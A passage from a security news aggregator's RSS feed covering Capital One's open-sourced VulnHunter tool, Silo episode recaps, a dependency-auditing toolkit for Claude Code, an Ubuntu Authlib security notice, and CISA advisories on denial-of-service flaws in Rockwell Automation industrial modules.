href="https://capitalonesoftware.com/blog/cloud-migration-journey">open-source first</a>" company in 2015 as part of a broader technology transformation that began over a decade ago. After the breach, the company accelerated its investments in software supply chain security, open-source governance, and AI-driven defense. In August 2022, Capital One joined the <a href="https://openssf.org/">Open Source Security Foundation</a> as a premier member, earning a seat on the organization's Governing Board. Chris Nims, then EVP of Cloud &amp; Productivity Engineering, framed the move as a natural extension of the company's operating philosophy. "As a highly-regulated company, we are seasoned in managing compliance and governance and advocate for standardization, automation and collaboration," Nims said in the <a href="https://openssf.org/press-release/2022/08/24/capital-one-joins-open-source-security-foundation/">OpenSSF announcement</a>.</p><p>Behind that public commitment lay a substantial operational apparatus. Capital One's <a href="https://www.capitalone.com/tech/open-source/">Open Source Program Office</a>, now in its third iteration, manages open-source usage, contributions, and community building across the enterprise. The company has released more than 25 open-source projects and made over 2,000 contributions to approximately 135 external open-source projects, according to the company's own disclosures. Those efforts address not just code dependencies but the entire software development lifecycle — DevSecOps tools, infrastructure, and the collaborative environments, both internal and external, that shape how software gets built and shipped.</p><p>Nureen D'Souza, the director who leads Capital One's OSPO, has spoken publicly about the philosophy underpinning this work. At cdCon 2022, D'Souza described a "company-wide culture with security ingrained" that allows developers to focus on innovation rather than maintenance chores, as <a href="https://sdtimes.com/os/how-capital-one-is-strengthening-the-software-supply-chain/">reported by SD Times</a>. The OSPO's charter emphasizes three pillars: standardization of open-source processes, automation of security policies throughout the delivery pipeline, and ecosystem sustainability through upstream contributions to the foundations and projects the company depends on.</p><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> is the most consequential product of that multi-year effort — and the clearest signal yet that Capital One views open-source collaboration not as charity but as a competitive security strategy. The company argues that modern software supply chains are so deeply interconnected that a single vulnerability in a widely used open-source component can cascade across thousands of enterprises simultaneously. Proprietary defenses, no matter how sophisticated, cannot address a problem that is fundamentally communal. By releasing VulnHunter under a permissive license, Capital One invites the global security research community to stress-test, extend, and improve the tool — effectively crowdsourcing its own defense infrastructure while strengthening the broader ecosystem.</p><h2><b>Inside VulnHunter's three-stage AI engine for finding exploitable code</b></h2><p>For engineering leaders evaluating <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a>, the technical architecture is where the tool's ambitions become concrete. The workflow unfolds in three distinct stages.</p><p>In the first stage — attacker-first forward analysis — VulnHunter begins at the points where an external adversary would interact with a system: API endpoints, network message handlers, file upload interfaces. From each entry point, the tool reasons forward through application logic, tracing data flows, transformations, and internal security checkpoints to determine whether an attacker can actually reach a dangerous code path. This approach mirrors how a skilled penetration tester would probe a system, but automates the process at a scale no human team could match.</p><p>The second stage is where VulnHunter departs most sharply from conventional scanners. After identifying a potential vulnerability, the falsification engine runs a structured reasoning workflow designed to disprove its own conclusion. It searches for assumptions that do not hold, logical gaps in the exploit path, and environmental conditions that would prevent an attack from succeeding. Findings that fail this internal challenge are discarded before any developer sees them. Capital One's explicit goal is to shift the developer's burden away from triaging false alarms — a perennial pain point that erodes trust in security tooling and slows development velocity.</p><p>In the third stage, vulnerabilities that survive the falsification engine trigger an evidence-backed remediation workflow. VulnHunter gathers supporting evidence across the codebase, maps the complete surviving exploit path, explains the defect and the specific capabilities an attacker would gain, and generates targeted code changes for engineering review. The output is not a generic advisory but a concrete, context-aware patch proposal.</p><p>Capital One says it validated VulnHunter internally before release, running it across thousands of repositories spanning tens of business areas. The company reports that the tool identified and remediated vulnerabilities with speed and efficiency that far exceeded what its teams previously achieved through manual triage.</p><h2><b>Why AI-powered attacks are forcing banks to rethink traditional cyber defenses</b></h2><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> arrives at a moment when the cybersecurity landscape is shifting beneath the feet of every enterprise. Capital One's announcement frames the urgency in stark terms: advanced AI models have "dramatically lowered the barrier for bad actors to discover and exploit vulnerabilities in software," and the window before sophisticated AI attack capabilities become affordable and accessible to virtually every adversary is shrinking rapidly.</p><p>The company's own AI security researchers have been tracking these trends closely. At <a href="https://www.capitalone.com/tech/software-engineering/secon-2024/">NeurIPS 2024</a> in Vancouver, Capital One's team presented research and curated a list of nearly 100 papers spanning LLM safety, adversarial resilience, jailbreak attacks, and synthetic data generation. The papers they highlighted — including work on multi-agent defense frameworks, automated red-teaming, and guardrail classifiers — paint a picture of an arms race in which offensive and defensive AI capabilities are co-evolving at breakneck speed.</p><p>Several of those research themes map directly onto VulnHunter's architecture. The falsification engine echoes the adversarial defense strategies explored in papers like "<a href="https://pure.psu.edu/en/publications/backdooralign-mitigating-fine-tuning-based-jailbreak-attack-with-/fingerprints/?sortBy=alphabetically">BackdoorAlign</a>," which demonstrated that embedding a structured safety mechanism into a small number of training examples could recover a model's safety alignment without degrading performance. The attacker-first forward analysis reflects the philosophy of "<a href="https://arxiv.org/html/2406.18510v1">WildTeaming</a>," a framework that collects and analyzes real-world jailbreak attempts to build more resilient models. And VulnHunter's emphasis on minimizing false positives parallels the goals of "GuardFormer," a guardrail classifier that outperformed GPT-4 on safety benchmarks while running 14 times faster.</p><p>The thread connecting all of this work is a conviction that traditional, reactive security — monitoring networks, patching known vulnerabilities, responding to incidents after they occur — is no longer sufficient when adversaries can use AI to discover and exploit zero-day vulnerabilities at machine speed. The only durable defense, Capital One argues, is to find and fix the vulnerabilities in your own code before attackers find them first.</p><h2><b>What Capital One's cloud security journey reveals about the entire banking industry</b></h2><p>Capital One's arc from breach victim to open-source security contributor also illuminates a broader reckoning across financial services. When Capital One <a href="https://www.latimes.com/business/story/2019-07-30/capital-one-cloud-safety-hacker-breach">moved aggressively to Amazon Web Services</a> in the mid-2010s, it was a rarity among major banks. Most financial institutions simply did not trust third parties to store their most sensitive data. Capital One's CIO at the time, Rob Alexander, <a href="https://www.forbes.com/sites/peterhigh/2016/12/12/how-capital-one-became-a-leading-digital-bank/">publicly championed the cloud</a> as more secure than the bank's own data centers — a claim that the 2019 breach complicated considerably.</p><p>The <a href="https://cyberscoop.com/capital-one-hack-banking-security/">CyberScoop report</a> from that period captured the tension within the industry. W. Patrick Opet, managing director of cybersecurity at JP Morgan Chase, described a cultural shift in banking from prioritizing traders to prioritizing developers: "Now, it's 'Focus on the developer, turn everything into code, and automate everything.'" Mark Nicholson, Deloitte's cyber leader for the financial industry, noted that the pressure to move quickly was exposing "weaknesses in the development methodology." And the breach itself was a reminder that even as Chase spent $600 million annually on cybersecurity, relatively simple vulnerabilities — like the Apache Struts bug that enabled the Equifax breach — could undercut massive investments in data protection.</p><p>Seven years later, the industry has largely followed Capital One into the cloud, and the security challenges have only intensified. The question is no longer whether to use cloud infrastructure but how to secure the software that runs on it. VulnHunter represents Capital One's answer: rather than relying solely on network-level controls and perimeter defenses, push security directly into the code itself, at the moment it is written. The open-source release also carries implicit competitive pressure. If VulnHunter gains traction among developers and security teams, it could set a new baseline for what enterprise security tooling is expected to do — and force rival banks, fintechs, and cloud providers to match or exceed its capabilities.</p><p>Whether <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> lives up to that ambition will depend on adoption, community engagement, and the tool's real-world performance against the increasingly sophisticated AI-powered attacks it was designed to counter. But the release itself tells a story that extends well beyond any single tool or any single company. In 2019, a misconfigured firewall exposed 100 million records and turned Capital One into a cautionary tale about the cost of moving fast without moving carefully. In 2026, the same institution is open-sourcing the kind of AI-driven defense it wishes it had built sooner — and betting that the best way to protect its own code is to help the entire industry protect theirs.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Silo Season 3 Episode 3 Ending Explained: What Juliette Discovers]]></title>
<description><![CDATA[Silo Season 3 Episode 3 pushes Juliette Nichols deeper into the mines, where she finally discovers that Lukas Kyle is alive and has been hiding from the authorities.



The episode, titled “A Dark Web,” was released on Apple TV on July 17, 2026. It continues Juliette’s attempt to recover her miss...]]></description>
<link>https://tsecurity.de/de/3676813/ios-mac-os/silo-season-3-episode-3-ending-explained-what-juliette-discovers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676813/ios-mac-os/silo-season-3-episode-3-ending-explained-what-juliette-discovers/</guid>
<pubDate>Fri, 17 Jul 2026 20:23:44 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 Episode 3 pushes Juliette Nichols deeper into the mines, where she finally discovers that Lukas Kyle is alive and has been hiding from the authorities.



The episode, titled “A Dark Web,” was released on Apple TV on July 17, 2026. It continues Juliette’s attempt to recover her missing memories while Camille Sims receives increasingly dangerous instructions from the Algorithm.




Episode title: A Dark Web



Release date: July 17, 2026



Streaming platform: Apple TV



Genre: Science fiction, mystery and dystopian drama



Season length: 10 episodes



New episodes: Every Friday



Season finale: September 4, 2026




Apple confirmed that Silo Season 3 contains 10 episodes, with the season running from July 3 through September 4, 2026.



What happens in Silo Season 3 Episode 3?



Spoilers ahead for Silo Season 3 Episode 3.



Juliette continues questioning the story she has been told about the months missing from her memory. Camille claims Juliette spent that time recovering inside a refuge hut, but Juliette begins noticing details that do not make sense.



During the previous episode, viewers learned that Camille had been secretly giving Juliette medication designed to suppress her memories. Juliette eventually stopped taking the pills, allowing parts of her old personality and instincts to return.



Her search takes her into the mines alongside Knox. Juliette believes Lukas Kyle can help her understand what happened during the rebellion and why powerful people inside Silo 18 want the truth buried.



At the same time, Camille struggles with the Algorithm’s demands. The system wants her to protect the Silo, even if that means wiping the memories of thousands of residents or killing anyone who threatens its control.



What does Juliette discover in the mines?



Juliette discovers that Lukas Kyle survived.



Camille orders poisonous gas to be released into the mining tunnels in an attempt to force Lukas from his hiding place. Juliette becomes trapped inside the contaminated area and nearly dies before Lukas appears and saves her.



His return changes the direction of the season. Lukas knows important details about the Silo’s systems, the rebellion and the Safeguard protocol. He can also help Juliette rebuild the memories that Camille and the Algorithm tried to erase.



Juliette also learns that Kat Billings has connections to the Outsiders. This suggests that resistance groups are already operating inside Silo 18 and helping people escape the Algorithm’s surveillance.



Silo Season 3 Episode 3 ending explained



The ending places Juliette in immediate danger.



After Juliette survives the gas attack, the Algorithm decides that her death would calm the growing unrest inside Silo 18. It instructs Camille to assassinate her, and Camille accepts the order despite showing signs of doubt.



Juliette has therefore found the person she was searching for, but her discovery has made her an even bigger threat. Camille must now choose between following the Algorithm and protecting the woman who can expose the truth.



The Before Times storyline also grows darker as Helen Drew and Daniel Keene investigate a mysterious recording connected to Daniel’s sister. Their source disappears, and his home is found ransacked, suggesting someone is still protecting the secrets behind the creation of the silos.



With Lukas alive and the Algorithm targeting Juliette, Episode 4 should move the story closer to an open conflict inside Silo 18. What do you think Lukas knows, and will Camille really follow the order to kill Juliette? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Silo Season 3 Episode 4 Release Date, Time, and What to Expect]]></title>
<description><![CDATA[Silo Season 3 Episode 4 will arrive on Apple TV on Friday, July 24, 2026. The next chapter will continue Juliette Nichols’ fight to recover her memories while the Before Times storyline reveals more about the events that led to the creation of the silos.



Season 3 began on July 3 and follows a ...]]></description>
<link>https://tsecurity.de/de/3675994/ios-mac-os/silo-season-3-episode-4-release-date-time-and-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675994/ios-mac-os/silo-season-3-episode-4-release-date-time-and-what-to-expect/</guid>
<pubDate>Fri, 17 Jul 2026 14:10:37 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 Episode 4 will arrive on Apple TV on Friday, July 24, 2026. The next chapter will continue Juliette Nichols’ fight to recover her memories while the Before Times storyline reveals more about the events that led to the creation of the silos.



Season 3 began on July 3 and follows a weekly Friday release schedule. The ten-episode season will run through September 4, 2026.



Silo Season 3 Episode 4 release details




Release date: Friday, July 24, 2026



Release time: 12 a.m. PT and 3 a.m. ET



India release time: Around 12:30 p.m. IST



Streaming platform: Apple TV



Genre: Science fiction, dystopian drama and mystery



Expected duration: Around 45 to 60 minutes



Season episode count: 10 episodes



Season finale: September 4, 2026



Main cast: Rebecca Ferguson, Common, Harriet Walter, Chinaza Uche, Avi Nash, Alexandria Riley, Shane McRae and Remmie Milner




Ashley Zukerman, Jessica Henwick, Laura Innes, Jessica Brown Findlay, Morven Christie, Reed Birney, Matt Craven and Colin Hanks are among the major additions to the Season 3 cast. Steve Zahn also returns after playing Solo in Season 2.



What happened before Episode 4?



Spoilers ahead for Silo Season 3 Episodes 1 to 3.



Season 3 follows two connected timelines. Inside Silo 18, Juliette has returned after surviving her journey outside, but her damaged memories have left her vulnerable. Camille Sims and Nurse Amy have been using memory-altering drugs as part of a wider attempt to control her and weaken any resistance inside the silo.



Juliette gradually learns that other residents have also lost parts of their memories. Patrick Kennedy tells her about the drugs being used to make people forget, while Juliette continues searching for Lukas Kyle and the truth hidden from her.



Meanwhile, the Before Times storyline follows journalist Helen Drew and pilot Charlotte Keene. Helen investigates secret memory-erasure experiments connected to Dr. Crnkovich, while Charlotte begins recovering memories of a suspicious military operation. Their story appears closely tied to the political crisis and possible attack that eventually forced humanity underground.



What to expect from Silo Season 3 Episode 4



Episode 4 will likely push Juliette closer to discovering who altered her memories and why the Algorithm considers her dangerous. Her growing resistance to the medication also puts Camille, Sims and Nurse Amy under pressure, since they can no longer assume that Juliette will remain confused or obedient.



Patrick’s information about the forgetfulness drugs may help Juliette identify more people who were secretly controlled. Lukas could also return to the main storyline, especially because his knowledge of the Legacy and Salvador Quinn’s message makes him important to understanding the silos.



The Before Times plot should continue exploring Helen’s investigation and Charlotte’s recovered memories. Charlotte’s mission may reveal who planned the disaster, what the strange substance was and whether powerful officials helped create the conditions that led to the silo project.



As both timelines develop, Episode 4 should make the connection between Juliette’s present-day struggle and the original architects of the silo system much clearer.



Silo Season 3 Episode 4 streams on Apple TV on July 24. What do you think Juliette will remember next, and how deeply is Camille involved in the plan to control Silo 18? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Halo Studios' boss admits Halo 5's backlash was "imminent" as Microsoft abandons its trademark on Halo: The Endless]]></title>
<description><![CDATA[Microsoft has abandoned the Halo: The Endless trademark while Halo Studios head Pierre Hintze reflects on Halo 5's controversial story, prompting fresh debate over the franchise's future.]]></description>
<link>https://tsecurity.de/de/3675728/windows-tipps/halo-studios-boss-admits-halo-5s-backlash-was-imminent-as-microsoft-abandons-its-trademark-on-halo-the-endless/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675728/windows-tipps/halo-studios-boss-admits-halo-5s-backlash-was-imminent-as-microsoft-abandons-its-trademark-on-halo-the-endless/</guid>
<pubDate>Fri, 17 Jul 2026 12:23:40 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft has abandoned the Halo: The Endless trademark while Halo Studios head Pierre Hintze reflects on Halo 5's controversial story, prompting fresh debate over the franchise's future.]]></content:encoded>
</item>
<item>
<title><![CDATA[Safer-dependencies: A toolkit for claude code to ensure dependencies used aren't vuln, don't use abandoned packages, implement cooldown to avoid supply chain attacks, etc...]]></title>
<description><![CDATA[When AI coding assistants like Claude add packages to your project, they often pick whatever version sounds right — without checking whether it has known security vulnerabilities, whether the package is still actively maintained, or whether the name is a typo away from a malicious lookalike. safe...]]></description>
<link>https://tsecurity.de/de/3674909/it-security-nachrichten/safer-dependencies-a-toolkit-for-claude-code-to-ensure-dependencies-used-arent-vuln-dont-use-abandoned-packages-implement-cooldown-to-avoid-supply-chain-attacks-etc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674909/it-security-nachrichten/safer-dependencies-a-toolkit-for-claude-code-to-ensure-dependencies-used-arent-vuln-dont-use-abandoned-packages-implement-cooldown-to-avoid-supply-chain-attacks-etc/</guid>
<pubDate>Fri, 17 Jul 2026 04:09:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>When AI coding assistants like Claude add packages to your project, they often pick whatever version sounds right — without checking whether it has known security vulnerabilities, whether the package is still actively maintained, or whether the name is a typo away from a malicious lookalike.</p> <p>safer-dependencies is a security layer for Claude Code that audits packages before they’re added to your project. It detects and fixes risky dependencies, including CVEs, typosquats, abandoned packages, version-age issues, and adds package-cooldown periods across npm, PyPI, RubyGems, Maven, Go, and Rust.</p> <p><strong>Github</strong>: <a href="https://github.com/robert-auger/safer-dependencies">https://github.com/robert-auger/safer-dependencies</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/SecTemplates"> /u/SecTemplates </a> <br> <span><a href="https://www.reddit.com/r/security/comments/1uyit5y/saferdependencies_a_toolkit_for_claude_code_to/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1uyit5y/saferdependencies_a_toolkit_for_claude_code_to/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8557-1: Authlib vulnerabilities]]></title>
<description><![CDATA[Jay Neiva and Mauro Carrillo discovered that Authlib did not properly
validate cryptographic keys embedded in JWT headers. An attacker could
possibly use this issue to forge trusted tokens, resulting in
authentication and authorization bypass. (CVE-2026-27962)

Jay Neiva and Mauro Carrillo discov...]]></description>
<link>https://tsecurity.de/de/3674505/unix-server/usn-8557-1-authlib-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674505/unix-server/usn-8557-1-authlib-vulnerabilities/</guid>
<pubDate>Thu, 16 Jul 2026 21:31:22 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Jay Neiva and Mauro Carrillo discovered that Authlib did not properly
validate cryptographic keys embedded in JWT headers. An attacker could
possibly use this issue to forge trusted tokens, resulting in
authentication and authorization bypass. (CVE-2026-27962)

Jay Neiva and Mauro Carrillo discovered that Authlib incorrectly handled
RSA1_5 encrypted tokens. An attacker could possibly use this issue to
recover sensitive encrypted information, resulting in information
disclosure. (CVE-2026-28490)

Jay Neiva and Mauro Carrillo discovered that Authlib did not properly
reject unsupported cryptographic algorithms when validating OpenID
Connect ID tokens. An attacker could possibly use this issue to bypass
token integrity checks, resulting in authentication bypass.
(CVE-2026-28498)

Johnny Deuss discovered that Authlib did not provide cross-site request
forgery protection for the OAuth cache feature in its Starlette
integration. An attacker could possibly use this issue to perform
unauthorized OAuth actions, resulting in cross-site request forgery.
This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS.
(CVE-2026-41425)]]></content:encoded>
</item>
<item>
<title><![CDATA[AI-powered software could recover 300GW of hidden capacity for the US power grid, enough to power thousands of AI data centers]]></title>
<description><![CDATA[GridCARE claims its software can unlock 300 GW of hidden transmission capacity, easing rising electricity demand without expanding infrastructure.]]></description>
<link>https://tsecurity.de/de/3674472/it-nachrichten/ai-powered-software-could-recover-300gw-of-hidden-capacity-for-the-us-power-grid-enough-to-power-thousands-of-ai-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674472/it-nachrichten/ai-powered-software-could-recover-300gw-of-hidden-capacity-for-the-us-power-grid-enough-to-power-thousands-of-ai-data-centers/</guid>
<pubDate>Thu, 16 Jul 2026 21:17:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[GridCARE claims its software can unlock 300 GW of hidden transmission capacity, easing rising electricity demand without expanding infrastructure.]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation Flex 5000 Adapter]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow an attacker to cause a denial-of-service condition on the affected product.
The following versions of Rockwell Automation Flex 5000 Adapter are affected:

Flex 5000 Adapter 6.011 (CVE-2026-12659)





CVSS
Vendor
Equipmen...]]></description>
<link>https://tsecurity.de/de/3674158/it-security-nachrichten/rockwell-automation-flex-5000-adapter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674158/it-security-nachrichten/rockwell-automation-flex-5000-adapter/</guid>
<pubDate>Thu, 16 Jul 2026 18:42:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-197-08.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could allow an attacker to cause a denial-of-service condition on the affected product.</strong></p>
<p>The following versions of Rockwell Automation Flex 5000 Adapter are affected:</p>
<ul>
<li>Flex 5000 Adapter 6.011 (CVE-2026-12659)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.5</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation Flex 5000 Adapter</td>
<td>Double Free</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Information Technology</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-12659</a></h3>
<div class="csaf-accordion-content">
<p>A denial-of-service security issue exists in the affected products. The security issue stems from improper handling of exceptional conditions when processing crafted CIP packets sent to the adapter. A power cycle is required to recover the module and associated I/O.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-12659">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation Flex 5000 Adapter</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation Flex 5000 Adapter: 6.011</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Rockwell Automation recommends users to upgrade to the following: Flex 5000 Adapter version 6.012.</p>
<p><strong>Mitigation</strong><br>Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, see Rockwell Automation Security Advisory SD1789 (https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1789.html).<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1789.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1789.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/415.html">CWE-415 Double Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-16</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-16</td>
<td>1</td>
<td>Initial Republication of Rockwell Automation Security Advisory SD1789</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation 1756-EN2, 1756-EN3, and 1756-ENBT]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow an attacker to cause a denial-of-service condition.
The following versions of Rockwell Automation 1756-EN2, 1756-EN3, and 1756-ENBT are affected:

1756-EN3]]></description>
<link>https://tsecurity.de/de/3674155/it-security-nachrichten/rockwell-automation-1756-en2-1756-en3-and-1756-enbt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674155/it-security-nachrichten/rockwell-automation-1756-en2-1756-en3-and-1756-enbt/</guid>
<pubDate>Thu, 16 Jul 2026 18:41:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-197-02.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could allow an attacker to cause a denial-of-service condition.</strong></p>
<p>The following versions of Rockwell Automation 1756-EN2, 1756-EN3, and 1756-ENBT are affected:</p>
<ul>
<li>1756-EN3 &lt;=V12.001 (CVE-2026-9653)</li>
<li>1756-EN2 &lt;=V12.001 (CVE-2026-9653)</li>
<li>1756-ENBT V6.006 (CVE-2026-9653)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.5</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation 1756-EN2, 1756-EN3, and 1756-ENBT</td>
<td>Improper Validation of Integrity Check Value</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-9653</a></h3>
<div class="csaf-accordion-content">
<p>A denial-of-service security issue exists across all the 1756-EN2, EN3, and ENBT communication module due to improper validation of CIP Implicit Connection packets. An attacker on the network can exploit this by sending crafted packets to continuously disrupt device connections, though device connections will recover immediately after.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-9653">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation 1756-EN2, 1756-EN3, and 1756-ENBT</h5>
